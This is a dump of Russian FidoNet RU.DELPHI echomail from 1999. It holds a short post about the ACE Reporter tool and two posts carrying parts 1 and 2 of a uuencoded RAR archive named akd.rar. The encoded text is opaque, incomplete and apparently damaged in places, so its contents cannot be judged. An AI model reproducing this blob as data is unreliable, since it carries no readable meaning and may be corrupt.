масштабированием. Я бы не сказал, что pазбиpаться долго. Использyю ACE Reporter - мне понpавилось, мне yдобно, пока менять не собиpаюсь - так там вполне можно делать все в динамике (y меня есть печать гpида - пpямо по колонкам создаются лэйблы). Hа разбирательство потратил около недели - зато знаю его возможности очень хорошо и мои потребности он пока полностью удовлетворяет. Чего не хватает - дополняю. Тоже в отношении других репортеров - вполне можно. = Hеделю назад дата была Now - 7 = Anton Saburov, St.Petersburg --- * Origin: anton@lanck.ru "I hope ..." (Anton 2:5030/730.9) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 304 of 341 - 233 From : Alexander Kramarenko 2:5019/10.99 23 Oct 99 12:39:00 To : All Subj : AKdTopic [1/3] ──────────────────────────────────────────────────────────────────────────────── Hello All. === Cut === section 1 of 3 of file akd.rar -={ uue 1.03, ARA (C) 1995 }=- filetime 660038402 begin 644 akd.rar M4F%R(1H'`#O0@.$ZCUTD+$\W,S3`(%DD-`@!CIB1>-^-<\10*`PH$@@(D`(HE9BY#W6X MYKAQKQ[QO8R(<;'(X"D21=@;]-55V+L=2",3UO'&.&B!=UTFIJ:FIZU-#P;Z M9KZZJ:JZD5,R*_%_C\>Q'V8/O_\?^',]!4>OZ:?CV5([TU1H\2_4_-(@?/B] M;(APHZG-7[S:B*=8SY'U]8YWQ1\!4ZONY4/8>Q8RML7P0X':OXO6*Q8\"/!4 M]_&[K]Y#B0'WX\!'W7MZ$]YY8'X7>>[TL9YH:3*U5>]EF#42-56?Q81L%TZ5Q:ZECPXK]2*SP<*3@)$&+GU M8;_:-JO7W@UU82(3^I^I'*Y(V`FV^?6'(0.JY_+$UUAM776(@K)*F]S*/_U0 M2]@^V#[+H^V8FHG' M."L?J:L**YUX&LQ<0PKT/8462567TZS,)5J1XU[,]::L4B!D?[&?+5Q(YH+V MKC(&=*I_^=;%[IG\B!!JCSM/*T=B'50BFQ3=%,9MS"1++1.7L2)GC-BI52^M MGJ1UCJ@*=9N;W?=12HA%+9E:%K4?B6+C`:2IO?5KAF;\_^C]";9M=L5R-!92 MNX2TYG?BB#.T"XZC=?7IHW[@INM(A/BS4,6&XBPRQ3U^V&0#<>OZ"LSYUBS/ M<5:CPK8[($LV%5>N2R=%$Z$K"/(!;CTK*_3S6!@&(AW`0,OW[I&G`UFS`UEM M/H.`X#9U"Q68(WS!!2J-E2Q("+QD0'?`'%Z_L4YNH]7L&T8'!H18C6J_0(2P MWB(H3K&APMF'(C*$&P\[3`C^&^D+(0H_R7RX&7WS'%DP#9?6O84B/U:P85.U MIT57$3[/4-7T1X5/9^^3ZI,V?UE]36RK9_!!M5)KE("$:E>^^;[AG+A4W80- M8V.!2\?LTPJ;MMK_KA/?`_CD8@==7SIPFN4^%RS[&P?8_<11^R/_&;+E4O'] M=F%3LDY7@1#_Z#X0_R+:MB'`/L1?T78\M-JOP:K1@$9>]:V[+B3]BPB MM==C8`@%\A_GZY.[*\\NA1-YIYOJ\L_>GSOIE\,N=Y)DPT60YJW59=B`X-Q; MTWQ^J9-Y]75"7M\'*.=-1GU']7."L;TGD&CJAZ#;\ZHTR=1%@4)W'OFG257; M\_?6-6=E[BJ*"HJ,GBF]&F<#G\>`<`4_ZN#9QR6K`:FR@+EK*`R]6F6GG[>S.A8ADV1K!!.,N@%8.#U\'M!"Z8QR!@^%35U8:HA_]4#R`$%".]V8G6-IG M17:A.\G,>KP+]]L*/O!&D;(WJ*KV&ZZR=1ZX@"P"/X6+F!&--[3]]; M2EXS<4OAH3.>^JC/`U_ID[LV2:C)WO/+-OS_/.J#R2?-PSU04?0,KN&7*H4> M*3OS#93S/<>["U:I'"B^A9$U`9QS9>_6_D:OY<0WN_FD5G>XN@I(^K,(<@^[+V*I"\$-C&1F#0=28$&/#Q&WPA'RB:<=_(@0_@+QN8LCK>^OY9#^FP MYXI:>LQ:\]V>"TC8;H"'[9Y">XU=FGT>*71XR$/.F>4W%R<`^DSD,ST"KX%T MN\YR7>;HY>97RM:69A=IQA=L6EAX)K\K#E)TL26+!SX#[P&TX*D0$!LQ!+!G M'OV>O5KPF[,9-_[;_YJC]HOO^,^56H\\D^D6SU#M36V':4VAH;(PESMAZ*_> MQ4)LG,8>&T],%!YP]B!-_%V&,1N0OZ7Q?L'OW0]MCF\=/2J+(]_W'56F17T: M'37K58"Y,7N?F&^#^Z3O&WYE;'F^29$G\4FCZ#FSAHSI?7+G<]0IPJ<_"Y356/I-`2>:?P<4W@Z!0X#>4'9'"+!WI^Y*DFJ$J?RS M_5M>V`QPZ<_#Y3YHE5*))WP:&XN/B&@"80RYZ*[0XI^Z#1IOJWE0^UAO^YU^ MI!-UZ99@XN"ZXTM_S>CQT9<3VL$'8IR^PD8_#/!^8L^>B59^(!+-F(K9]V*= M+HC=1ERNB'W`VV\52]8W$%HTN27-_Q;FZM@#W.S=81]FF9_JF`88N_>GQ.1; MSJY/_N?B]<3\7L/#)VY]$L/C:2FR=Q;$MM?J]Z=JG$[7*5L*&\5YG(IY!L54 MO/.X]TD.Q%@_4-QLD.,MD7_+?ZN!O;IQ!]?X#:4F>Q)G$<]C],_AW^,@1F^/ M;G]&E_Y(L.J90HSW/5@&=8-V'0L%)3\\KH+/R8-R_>I&XC/(KW:O#(YTZNR^ M4GO?,!#2BR1^F>MM0-00GGR]^DOJ_G4>&?-I7B!.%3BI/.SZ,V><\Y.D^>JA M,X%NYH/6>DTJ;P(L,;+/E+63Y)="@JD"BH#1@"+NI`UA]JFN'RNE[?9EAKFW MZ,GZ_8J6()F0M:&2$NT-U`&9>\$**5)V^,P35/-60G[ZI:`1[_1R)W&S[A58 M2L[YI**IC:H5U3-LU[JJ07!M..%(]\\"L+T-2.^;W@/3KTXB3W(1<)MS]9'J6"%]\^K^3OWB!5V'I723TV3FYHSJ).4]"%!V?-G4U/O)C M195AXN,'20K;TN&@#J;@)9"""Y1)YI:X_*:\"L_Q4X@/O?PGR@=F\]58BA?/ M)FTAF#),-M5(2C/$X#U7*C>0*??%Q*PJ?01IQJ35WXZ^G4%K;E:[?!QRLL6* M^`&'5C@M;%@Z_!9]XZ?^U=F"^UR^Y/7!^9-K1DN$!6PK"C) M4*Z9$&TB4D]N70\TOU$6]6B6#5Y135)(PE+&5G$5?.NH\BT];:C,O'<"=79L MZE]OYR?4"K1M[5<3/,9#4\ZO>.%=FR_A4RN,#;K;!#-X<"A/Y"/Z)$8A:9#" MTI$P?9TZ>!=R91%@7B#5V;0&%3)V(<`+P*L:?B:;)WZIGJWES14DT*1LP8;[ MP.#!N*QO80<><\Q>(/W9M+*GZ-_$M&O3I==<]Y-I'U!$;_I>8R30IT.D'LJO-56C/\TFG1['+2 M['KUX9?)2F^BBN8:/F;QDA\4)Y'XMUDWHG%O*A#`O13GPNW>(+]MA9_.2$NO=D MFZKF[:CT!N[R@GZ5]W[JX/8>#3HX>#R^C--AG@X9O'O7@!;JG2=-2],[3O]. M/M!F92IA&T$68AJ0_8P&$M'@O#,[#PKQ"-*E5YHA,O,@EX(@%#,+P+YL1)=' M@W#K*@)M\I;7I*H<2?-O$)+QV$,/#MBRG.2HY_Z@W#ZIFZ$JR\P4O'8+PZ>M M`(.L_>828DJZ=X`;>.P'ATS0`%%F+D:61?X>%>-^WB?>PZ=@P=)4L&J)W&G< M/9K%);UR59LZ6T=Q23$H.V!D:.CCWB%MX[`N'3+0'CIKZ0VY#JB5X`;>)^C# MIE;7;.UR0I$3T[W"ZPJ/#M\UZ9FWO2S83KLA5^G':ZX4`"V""4OB3]$K'?'Y M0WM2P(R41[PP7>.PYATS5N"#G)H\9QLG#A<'`1!-]'TA)Y\ILC0SK]*[?Y;P M"#KWCL/=>NH>H!QF>*J)MSZNX()FAQZWCJZ:M=_M+MRY+DWJXNK-WE=7P"ZL MFG7/]00S46+4.:$-<(!I)[]Y("O2X#PJ?27V=&&#H2UD&[D"N&%2'ZMZILXB M29?(A?9X$O,H*ZLJ:&VO[?PWAT^DG:K)ZR2^53OP%+1[#$_(F(-0LZ7L%Z<+ M3"H)0?5PT(I:35XZ#F'V,TQ%E927#%6K8PBQB&[\-85,]I.CQ#X?(GH,TAP[E,#4M+V90"GRE#\(8>=)0*Z>(8U(CV M*(9`)_,7"'J;*(D=A6D9ZS@HO#IL)N<6;_57PPF))">43KW=<)$'3O*A#RD1 M!4#UEGU8.H;M(&F>D?1^#&T=%Y\>B[!Y[/T]#-=_I7(XLG5WC8-A!'L3G=1&4C5Z)WZ8?P_#&<9U1(SW7YRPIGSO8M>`#C^I&3 MM6&'(`)8A@UNU%;Q>Y:7V"F'SJ]A.PQ>M'H3XS87QEO5NX*BP67W^?60T1FU ML]$S11\P-@_H./#K7J*BJ2KQ^^>P8-@#6JMM`A6#_P7]:0C@:U>^6WPJ1Q<0 M(K97VW-BFP6Z\`"CQLJ@OY84-63'FS(V8^Y^`&(*RL6VV"JQ`WOB@1H!/ZUG M4EZB8%5W/`R<&6G%[.@)HVC#5"G,QE=[@W?SM33^/3&_MG8V?DAP-9&IG9F? MF"2U3-O@7OZRQ(;OQ8$=2#";7R^B=_B7S@]I.+X&(SV!?-[@%SE?6ZD M^W_5C5U@>TMAKL;^V%RWN$!=6$!;6@V&@U;_`JT3&7_2FAVLU*FJ,]1FQ[L& MJ00&0H$$V6YTE!KHC*(*JJP?1+H$Z-_5+W;^C/."IMKSRPU#IK@P\!-0RKKN M21"HB;YR\3%>$Z149[NGD/8\E?,];,FY7\XHI59M MT;(>P7Q?*J54=L&P2W<7VP/L8_^0J:5R"D9WBAI(`^CO0F!$FQ&YK\0OV2@\ M>%\`OEU0*(&]5SXI=-3KG%4K=WY<2L>3L6B#>WV]H41%GA".VDY(BMAL9>>4 M&Q"-TD?[YDW1,1@[VV/AJ6>?Z5F+^5$VMQ;G:!!TJ3ZI(R`&1427Z0SHI+@` MJA,`#_RG^6>Y,VH;ZM)E`*@@5&UW>@BRGF-$B08#XHDA5Q/G$W"UB)(>>LG; M\Y)EJT'%+E;4NBY91.M_4]_^P0@;'3"QI3PZXY<-C2W;(-DL(-@3B5A$]7BL M^U9FZ=6J#!=^)1](!;+(93E<_!?0XBD*^']?UN?`Y?*@'S&'46"A M^'/$2>0;`LO^V!U61L8,?CK^N]JA"AE"$EM->?=1R1MJ,_V?[F'+:H9ILA]A MES=BN7,F%`UCV(4$Z>$_U7+PH!:,G&IGP7'MTMVO"G8LF?NWY/R"MKS#G93P MH!S5\V7)LL'ZO'0]#@KB"U70$6\3-]%F$WJ2>E(!KBYF3Z0QM9L\[?'#AIH! M8L5]_X66F<-+QGU4R[\&YDO,F>K)UAUF?'.X!2*I"+/Y^5)Q&B%A9#$9JEEF MF%/,Y[`@J17.C`Z+EA&T;%_@X:UB&TU1#R-\19352F!V].5:(:>6KO1*QG<* M/8(=FGDXSS&Q!_<8O@U]F8XQI$>'D+&PAM^"",P`68U3UNG1C-)2-(@QR1Y< MI[!C*-;A7K_?@1]AD(%6:QP^FTG>P8HS^':[C7]XJ5CK.M:I.A5=#$`$`#@CG]-RNG!INJPT`8Q[JFT MVOOET]#*>=_&TG?RK\4W^5*51\N1(BDI-(A`_Y5^*G:?-QP05&!F4XUK@G4: M2CU_CJK>Q=K)>QWJUSN$2_.6;+^`](U-8YR5!7"+3"7[H:S:QH#>XJ"Q9TX- MO]YTUVY`=F!2$1>^8WL3E-WYC?SD[G#2\X0C#;F M6;!,\#6KJ_`T<@2D6/(B-L[&[KOOZ&EDMG0,TX+=PG2ZW,NBN&P:Y55FKNV= MX6%[6I;9ZF)FP%*=L"A)U0Y+ILFAZ#8E^VO03S2VW?B@1^Y=F%[6[V8D?:"P/M/H)9VF;<59LDA?#PG+_G6Z%/01B@&?+*G[P@,X( M&X0GQXVP;CX;G6[4O=-4?A#3Z)@E"L[$&((G$"#\W_M]3?LAL!W9_BY;VN-Z M+:-W_VA_!321C`N-ASSS%@?&=J7$[Z!P])8PG0.$;`&H4OXF?NB""CGV_&=< M"I>,1'OQJI"/`B$FN(#.#<"1ES4YLC>MQM',(Q\3'TQG[^*&84W`4K%AQH#C M32[T$#:Y5T.(";T\R4AM>*DBXYW.F;=*5Z$1:WF1M&#(!Y7*AQ<[:TX\C6UF M[DW[`PI@!7I.=/OSX-.^`3K]M8%8D8..*"?OUC)9Z8$GTA!#"_(=^D@%]NLG MZ'+-)(_4+3#L+2[)JJX<3:,1!,(`5RBP*$UH)A/$8;=9XS&1<_$44.)&$"C9 M]`>-5/`W`JR4 MB<2>_]"AQA1J.Q]EQX+Y7I8C0$SGD5ABKJ$V(6M"/&.H#]RO1-.GHU;O;PO8 M"[CT.(7S?@=38-J[6@:^)$AE38HYY)^:0J6/B:.DCX=PN>J5%B0=HO&/XOM) MO,@]:L+/?J:S[6IC1T]J,CWHL!K"(Y#DUIKN4 M`3A6FF_M7>@"6A\AQP)+%@@Y41<>`'7S,H!K:`AI%DA!>3F!HIR M2_[)R;L!8$S&GX>$]F8FC:,'6`$##O^Q M;""Y4@Y6N4.(CPS/*B$M'+4*\5<+$KBJ;?"D7E!8LYN*&!5??\B0BKYQK/<: M%M$5HXK+MUTN_!.Z4DNB\];)E))=":NLLHO9E2R;32%NI&S&%N6E-E[KEAMT M9$&&POCU\S08H`*H^9"]Q2(=S>@10F*I3J*I;EHG3@.A2;>#WP('GBM=[5L* MF&;07D.(\K2OJ;457%)MD'M`DPIIX6R,S%[7/ M:D:W@4G64P`Z*Z?%RM#@@U]#!E#%2)1K[ES#)ZU&:^M)F/%%]V%4KZWK6$Z* M`#LUB$S,RK:ZTF@V-87,'6NJ)]O+Z29+]COL\]F%R]!1;#).N3W7^(=THSW+ M0AGJ>*.V9E^IH)>LY8)>SN6.IW[WMO?M5$[3"<$UY'LK]CD>]CR/+J;J9,ZX2%X=.=%["4@NLX21!R8?AA-M,9*J10<@T-7\H6U@MUX\B/'"$Z&G M"5$1]:N^GL0*S(\A_Z=;\J'^1P;XV&C78O6L(!W0;6T"`^OL0XJ7,1 M:U:.+LMB?P)(F>S5'A/W#/`;)].?VTO.]6*T[=1.WRK:^6.K!IY8\GEC/MTJ MWOYV?D9<".\"70V))C3`C0;K;QEZV]X02Y7:#FC'S(1-LSH;:+KAYNIN5S^3 M1AQJ_U^.FC>[6@RQ563+2>9&-HO,S0S[4!Y;;G5;/S]#OY;O2=W>3W][F%R5 M>YNNZM+'FC`('+FC)KT)ZM#G8>QO!CO8HVR!"%3:L2AOR&!OM,!PYF210&0J M1^31['WR-#/'OV(`J'1:CP8(E[`P56:O27D"(9=T0&;F8A26ZW1"D@O/(`%B M\^'5YUMH@E)IGWEIL@AP\HYWIJ1E07NO&*EUN,K4 MSG>GIXWPNS0XI_L9FCTUEV1'.+8DF=+86P0D#AR11724P'`LU2%KQ] MAL0TS*0T/4SB&C70YL M]W^1YDYOPY#S-&OLD-S[[INPD2:Z8AS>PD2H&J>O(E6WR)0MPR>HP,@-*$B( MYU0N^V`Q[J@S8JB61/9^'2=_");V=='U^3+[KOX M]3-T,C&S=3.QLC+S,]WU!^D:4B%\R3!Q!9)]W5-K5AA!E"`KE9Y!*=EU(H&S&UR5S(VOZ\F3%'7ME[V,V`^O9H8$B]%+W,5\:!DXH*WG?B;=_+U`1'CZ&-I`^(TMT M?9BS&%6)#+!,A@A"-W!?Z[,=&*D&LF5/&P"Y_HI"5<4%X$)W9K5@HR-3I[47 MA!IJ1DN+(J*8//6^9^!S$>QKY<1WBB$W&T?1GE!9$VDR_,Y[$B!*J0P&ZZ8" MB@ZV9"@1[)+"ZF(9"^\&?6,Y-31TM#("*#J9+MX#%1OT70OQL+'16!5MJUMM M(+Z!,+ZP82S(N\(>Z*(&#Y:+V.KLV-3[T+9>Q/B@*>'0UB$NV@Q/GSE-EHU: MT";;68M[BS"6G^W%B`V`HL9Y3/3D@,L"BP4Q^9\"17]RVYVG2?3ML)EZFR6^ MDG%?X,I/_!0E`0`I(,347;KF)T/(I91*\/9"AFJ<^D18$?:,LH%0'5D+-)*' MT0F::FD[QLGOZ68\=GIPOE_@>$0-DJU\33412<$_LC$U=08WV65`@A6V:>^^8TB:84^:RBFS?'!H3L1AZP9,,3GCX\13FKBE!&UH%*$ MVK/^+&SJ94"^495U[R8774`E6LT<;3T MQ#.NF7#LOXOXHWYQC;PPR1253ADL_)@N7+.R;]U\Q&*1T0QW&>F-5VBE^%M-8*9^ M(,]VAM"(EIB+HS>%''.^^M0'R"O:R>.H'\AFX^.D[T^]FO/7B\2,(&S$J<)X M2%'C+,+#YFAMQ=X(K%DE"?TC!]J>_4;\^SQJJQD=G8WY-181YEIR M*R*>#Y>6%-==FQHL&(J>J9&C(SET67ILC%K.E$8+T66M*R,^($.":LO(U,;( M)KT-ZHP9.K;F$8\-&V(H*'1Y>[E:G>T4V(8Q(8WK9D6@M-[R_EKU$['RQ6AIQD!L$+=KX,GI7HW<8Q(USG;8)45KXV6*6OH9XP;$R>X<8OYWH@6S3`C/+\GV%H9N2[SW?QN[`.;62"R@#=I@RS-V_)@_,1;_N8-LVX M:[.`94%IM@$XOK"E$TNR>[Z5>X[:$R@_T_^%L M2%/J\PX`5PGGCR'I[)1SKAI6OLV^$,?BC+J6)/9!UF'G[3Y:0A>`<^*XQ-&O sum -r/size 3670/11178 section (from first encoded line to "end") === Cut === Alexander ... mailto:GroupStudio@mail.ru | http://www.akhome.da.ru --- GoldED/W32 3.0.1 * Origin: Работает "AKServer" по различной тематике. Мыльте ему (2:5019/10.99) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 305 of 341 - 234 From : Alexander Kramarenko 2:5019/10.99 23 Oct 99 12:39:00 To : All Subj : AKdTopic [2/3] ──────────────────────────────────────────────────────────────────────────────── Hello All. === Cut === section 2 of 3 of file akd.rar -={ uue 1.03, ARA (C) 1995 }=- begin 644 akd.rar MS3R9!NZ&:RAD!&E3YHE]$KL23VD[DDN/O<3":HY-_]%B4A+A8.QZ=+6&X.14 M90G`B(.OMXUHYY7PJ]AE"*R5!O*V$-NHO=PBT"F;66X=5^DRI/C$/K?;)],M MB22@0CLMBJ7,'!!!Q5XF7G6/\\JDNRZ1$_J)+F4A$?*+3$*6."F MF'Y)G#4??#Z`ND6:O=3@_J M$T2-\N2R(QM+KR3R*O_>^+8!-AEUAU^-KVF;$#'(0[HFPX>009YL.]+-AC[F MZ_*[T)2S?R.9D&C8C4F-$)U9GATT.K(F@77B-?UL7="]P=.C^1LQ%B\DCE]I M;\Z%;9I"Z+5T:R-;6$!6L][5I0$CQ2C&!Q`17L*-C]+57BA`M<+W',7\U8G7 M*P-,E*RU"#Z9VYQDNL41:4!Q,B'B=:Z(5_2/,'[R%:WMXACN0]:O&@P0C"%; M7O.KD[J++BN]H0<)`:W\$#%B_])'-[7Q/8//-D4X;8WR]'BK MDQ?*?*&"=*-OJEHBCULRRW6Q6;MPB;1P^LJ8E#8Z_MWAY-SX:A'(DG%P>Y=5 M,)$\.[+O@*K-"K.B83>Z[$L2FL4)P[R'EJ>)LBU.NW^[`9[V%>P')0!V?B][ MJH0&Z61-MVD]!H7DK#]%7SG8>ZZ$:FWF9KB1)HG&.BP0)FQ.[78(]GFA:>45%$ M^73FM*Z3G?8+D__K[VCQC(8NR8'0!$0V/;C=?WUXM;U=#FZ],,<^^M$^+>IS MXIZFA;O-J(=%*S6\A`4#G($21Y="NA.@//A3B,3/_OAQ+A8'?3PZ9.%JPXPNTQ[Z M$AXL,4Z=I:^&N19$*Q!U0$8$">_P[@5KBNRH2J=Z:>Y"F*-/'!13YDTCXVWR4#BH2V)%[J18^T< MOM?21,7Q[Q)\1+`1<8]EEPHQH$GWI,X=BF*\BLV70^XR<3T/PUZ'SO-4,N<. MYYEA(51I$SI/V%G"T3$=66F')LZRAR2WQE-7AA!BUVE_V5V]+*YC6AUY<-'D M`=73*Z_7(FC%4?MCS"6J9-E2=^Z'"&TB25<$,>K^]#=VJUU9,ZUPVD;^Y-^7L MC3HQS8AGTG"K]?I.*ZNDW58%TF];=209)4D']C'9%HLO=+CTP-],K1)B`6T/ M0,W:W"YPE M!>,]&@P68S/Y2QNT+1ST-,'>:SK-2"OVE79;'0]TO$^X[(AM@UA!GJZC$EU5 MF)U6878[%BZK>GX6)L6,+<9WQN0138S#^9RY*.F+XMLDG79QMP9GR(?'6N-D MP8)[WOF]V<#2^X3,:KK7&FX-V'5P82!P41JH;;"JQKC^`5(#<;W*1Q2XO]CJ MDS+&1;OJ*V.E)4BUMO5%W5.#/OM9/`E^Z'A=\59%YE:@P&,,N\D>$^INO0UVE?X`_UG^HI\X* M#(%7!X0VBQY#V")6!G\0E)B>L-(ECZ?%?>B??#%->TQ\>]HC@YMY8\(MA;/J M@@(SYZ"P!`K>/\;QW__`2J]X+PQC8B0M@O6M=<,L()^?4ZSU,>GWP38>T#M? M:9/"Y/79ZO*_7:%QZ[+$V9[#KLRY]=C^UN3-YVT>$',>'XG.AW3\PAR*V3[P M)YB:LH\:0ZA="&+G0WZR==KD;,5>%E;6MIWO#EMV8:R`4HI!M&'C>T,.HMSJ M?)NOX'E&^O)#!CK*T,WWSCO&BXS+1NKEN:,8.KVQC;^6T,ANK3G23B$L9&=O M3NZHV.HI$_O-NL]L&$3\UKM79"5MU>98D!R&A?,*!Z:$R=Y>$?3D*32"8!M/ M+N=P%%51]X%'X0K2_#ON8,V?$/*]B'G.F3BY\SD=;QAN!U^C8 M)_$&S_ER0U-B6Y!*;$YJC?JV\!0/X0#;TZ>&V21J1$@S2:>?/>-8[^)^DLI^ MW4?<"M?1*WT%ETE62A)D!'1A0:?P:\+A'>P@8XHFQUN3R5U:\%D';!DHM!QV MYB>6()7ZL<:/#AP=5[%OI);[=9K.4A2+[T[QSG6C#B2(B_@3HS=`'!)=J:9` M\R@OU'X%NH<5_Q51&U@*FN,1(K$J@N$Y$J4!T?--7"LH.2T(2)Q-+$HEB:8F M[V<.0"@G=`?8&G$TQSQ8@773Z00K$;YW"`O)_Q613O,VZ71*)4FT5I((X=-H ML])*KFJAWHC\36X/"7",NT$6/V"+2!HL.7);^KH>23(>3CHF),BX;:9&91LP MF[@<<'+T-5[&4=.4V(HOOUI!PJ(VRN\J&*("4-[QLIB'IV'/;?7UM0*NN<1R MDA@2 MCE2P2O^X*4^K>],R<.0K%+7(:,/27X76V^-<`#]->GEH\0-"?(2^IN^XTHC` MGQJ'$955$G%*J>\7X-I+)U?.`_4S'$MA4QP.T!0X[S@EO4@Q2T,TFX9C8\>$ MD>+ED.FKU0JIHC5/O=)[\FGP97`G._V)*X7-JN)D0C84+)I\VFYK,+O,`Z2_V&1.&5`F8C,SD$P M@"B$ORS_44[/!+CP7@#M2V-(:Z0C$H.!>G>)=4.U4`ZLSWZ/!2G!S9"3PYK\ M[5AX98<:]4+]HB'`Z\4.HZSP[8Q9JYM3`$!28"]<(Z?+],R;0X`60AX07Z6E MX)A5S6CRI.TJ'"7:F&8%O54A\$4*=)X9E`[,02[O"LM7I,^<4[P0^/""T'_4MCP[NH`AN# M.DJ><-N-D'"![+!HEI&C/$M&!W ML_OK[,9W!6LE.I+[(&Y5N\O14YB#:;W`F^C9K/T;O?KO=M(3'>[KG>,%.IEXNLZ3S8X@_4AT1`+>W5ZHO43NO M))2A&G-U.0*[2R'6`F(JT)!13''9[M3,L:@6ZP>>_/T@W, MJB_7L(8%J'/X*)\H4==%B>TP[2@+9C!3OE6Q"#]Y#[8Y\MA,^,$^F;$A)[82 MGBV6P2J(`A/-7PLR/&@LPJ&'FR?K7F<6_T-51-%@V2NS8]VT7+NV3VUT'JCH/2^'Y3ZQ,#`V=J-`50)^XN!QYHO_L+JMVV4C M\4HT+ZSM'[X)Q8[R*PF)"V67>2*PB>\DND[R-]K+N0;?>>M/FBW M6VJ>?\2.6ZM[LZ!;#%L/6"<0Z>'>GE>-=RV&?A2->LME[3N+AG;&2&/3]73L MOQ=NQ;GR5VJC\UKL)TWQ>:-7M]F^V1?PYQ&N`=K`2\+N;W&5!/4GU2NT)3/3 M!F.FB15^2B7)VVM+&9LU:O@!P;\'7[`VOFUK:`?L!-.+!O)^OV`:Q3RU(^XA MN;J(<6#0B;W7+8-F#W\Y)+6FZ''*R;V8X1J$A8N"=4O3T"EN!`2G_>^#.A^` ML,(\D^;#\!;J^:_@+BW?@+.VFP#JGX0H*(WH,032(6"I;R._'))^$Z<9X4N* M2LD]:\3KR6?\A<.:&WL&EUO!"@$\/W1$,A;9]501GDQ5Q;DG?.U`PP?UWYZQ MC^P[+Z:?CT]TP-)UV.U>_X\Y9=H:E\]A>UNT&N#8Y!B=*1H\#9![945IJA`5 M8D06%AQE'S*NK]I=V(#OZ?ZC!Y[05*_:4;2HV8"&?(51:@:PZ2CL[0PG+3\( MP7D"K^'(U:?;PW/9P^7_XJG1O;`)]=RT_`5_+342YR_;`+]ASV^Q3W,=LFV? M:ZO]>[7(LK9:_E@;/7_+V;'Y9HJL18?AC%]]"+`3S.:HPO>!^<']5D2]6D=E M'%^36->L0#@+X5''O\R$^@R*D7^7#(Z%E8V;INV?F[T1CR,_RU?>_YJSPZ?] MX?+\S#:?FG'#]DZQL'V?#P_7:X%!6C\Q%87:[7;[%-#+Z0K#\UM=/^:]\`?H M;4^J78/^BUC(YW20@"T`&R```*)X```"\N&FD7EA5R<4-0T`(````&%K9'1O M<&EC,2YH=&W_\&$0JF9F:(X`KO^*D#+NMO*XHBB2O#FW1A*)5CW&XV(G++UR-AIRRNT7/S;';/.S)F:)NZ!GTZ,&C-&[]%`^#Y]&)IR-' MO3O_SO>GI***;3DNW8\Q@6Q(KOKG>=\\]G\%_N?R*YQ%=*`YU(!#@!_NU/Z; MB+>R5,/Z_KV(N>Y]M]G%_KV(NBYWHLA&`($/'P7,+/\2V3I42N'KM$77Q((L M7V3?^0;U=CJ;=DGR#=BWJ_' MV=6W;M=>&&II&-H=CKZO,!ECZ_S4#Q\W].E\7-A7K;:[[\@F95Y&H>P)IR`P M>%(;">(&#?X3&A/)N;&]N$AU&QN@]VDB(!'8-CZ=S]VZF)0W[MSM`G>J6@\, M;QZL15KLZ7H))IWV,PD,/]X8_RH49:`*&>P$%9#WIMY)X9[1'6X/Z;(YJ]XC MFMY-L%(/I1$?+S/+W$T1#9=$UZ`=;MW=[]>XICG/D53O[>;IZ]OFI@'T(^@> M3>\.\'2*=K;'[?9';%N?#];!?=YEO:U^N@UAC#:WV-A&FM_?B$DE8ND!`ZG< MW=A%X@5"]B)[;BQ!TP([YD@\TH#854L0@!: M;O,1Y8W3"YCN9T89!_30?';$M>'_4Q6S/S/>YX>*.A^]1J.T+S"`60%D/PI!SN^#=![*84\YXD;-37I#:!& M<^^1[]Z70R_=QB5C760%@M'0[O_`76L%LD("HE=>2/>'=)D7?K8>1^3:O3=P M;D6Q";"Z7@0NCX75V^]!=>(OCDRK$'\G>!Z2$3U)C_L)WAR<^Q+E,-1GQA"M M$%]$D$\[F[X.)1A-?4C!PV?M6_C&SB$(V#4A4NL;OU40C3PFRIQD.`C$LC\I MAGM0TGK'#J]OBS=+KH?^7&:!I)5[:FTXQL+Q]OIZ-?GY>8_Z3*Y:I#-T9&=D MDP'LF=B1SM#'.;(-3K5:1G5C8"#_V8CQ>`*BKX@X*E"'.Y MGN9NC\H_F.LA66+:4.T&H0-`7<*`)@E^'`O:$4ZZ9/>032/\4)3UX/'DJB*J M&_"2U+[A/1`XH:`)$G&N/&%&D,P5H7[NS9`EJIG+$XWN#290R M*S!S]'+Z!-J786V`='C)L?X\E*Y6=TM".4M7></^ M7U+^2E[0O8+K\_+??@Z"H/&V$MS)3(O4ZFR+]K3J1&.>.M):"4WV]>+=5X<> MW\U?4U=;30UB26S<0I#Y^'P;E!?*L-H#AV!ZH4?YI9Q/D3&]]:P9\ZQ:#;I9 M,"6.JFQNG-EMO5#O340!)D'B/S:5Q2W2AV-ND^#N%#O-!M.>J,R_S6F-1.+L MO'?WV)!OB:>[.-RHYTY,4C#8O,EC];^YR6IEY-KNY=N2L@-#45].#:2)'QDQ M&&21#&-@K0K\FK)B/@M\B8&916+XE(YI][@J';&.7G&QAT-#(C$ZH==/":*P MZFN9Z60L5FA\.6F?IT"[^#],?OK;$8O(W#$$?+7)H,JX!@A:WJ)N%9T'XJD7 M(7PUPBM,FLICL3@P^2Q.BU7E_,;TG8T+:Z`Q\1C=>^RFWU=@4'%:\D&?R6)X M8+TBO@*SOWI!M\EB>&:NW]A0R]M.AJ!#5ZUZ9'^B&&OFVNMKA[Y:6=5F:U\VF!\1MI2LD(H_4 ML[6GE]?8[".8;."K1[/!90TJ.*E\LTFT3D9*W&53?CH;/84MBTO:A)PGJ=UC1L]*S MGDCC?$4-%9DX&EK&QL:U\MXMC:P;@RH*"I.CTH>Q(O]'HJL/;"Y-<'\2W")Z#&WERNZ8B>EI+9)KAHGK.1 M)PF6N:S04[YR#-T>D-8"^=7!?$`K+ZK&WK]B*#2ZY.7!)"B.&^A+5B8[`UCV M-6W$5\FEJZR%H3MZZ)?U+@Q:)5LBUVST6T?*)P&7>]A]CB&9,5KQ""8QRY-- M"EY3MH.D50C:>VNQ'WR-;5^.T)*9'CUR;%O,"]]=WH2KY,?VZ76V.8_ MHOY^DJ\0QO*&;3Z.*(G&AKA-;BJH7K3;`L,%[19J];;8DNRKSZ1<:4PFF23V M]54`U2X($,"*=#%(IS,*.42VD=U$!SZDQB:I2-Z_)2^#+=OS"H/U$7L$0 M<"^*Y.\P.Q&)FIOA?DW?#WQ'Z3X._]0([;-!P-[&^L%P3[PR<5*H:I68654X M(L*V]N0R,Q]AU2-4GZBIY"LKQIGWX0B*8.T.G&M0#$$26KU[2"7>"G^@$Z8D 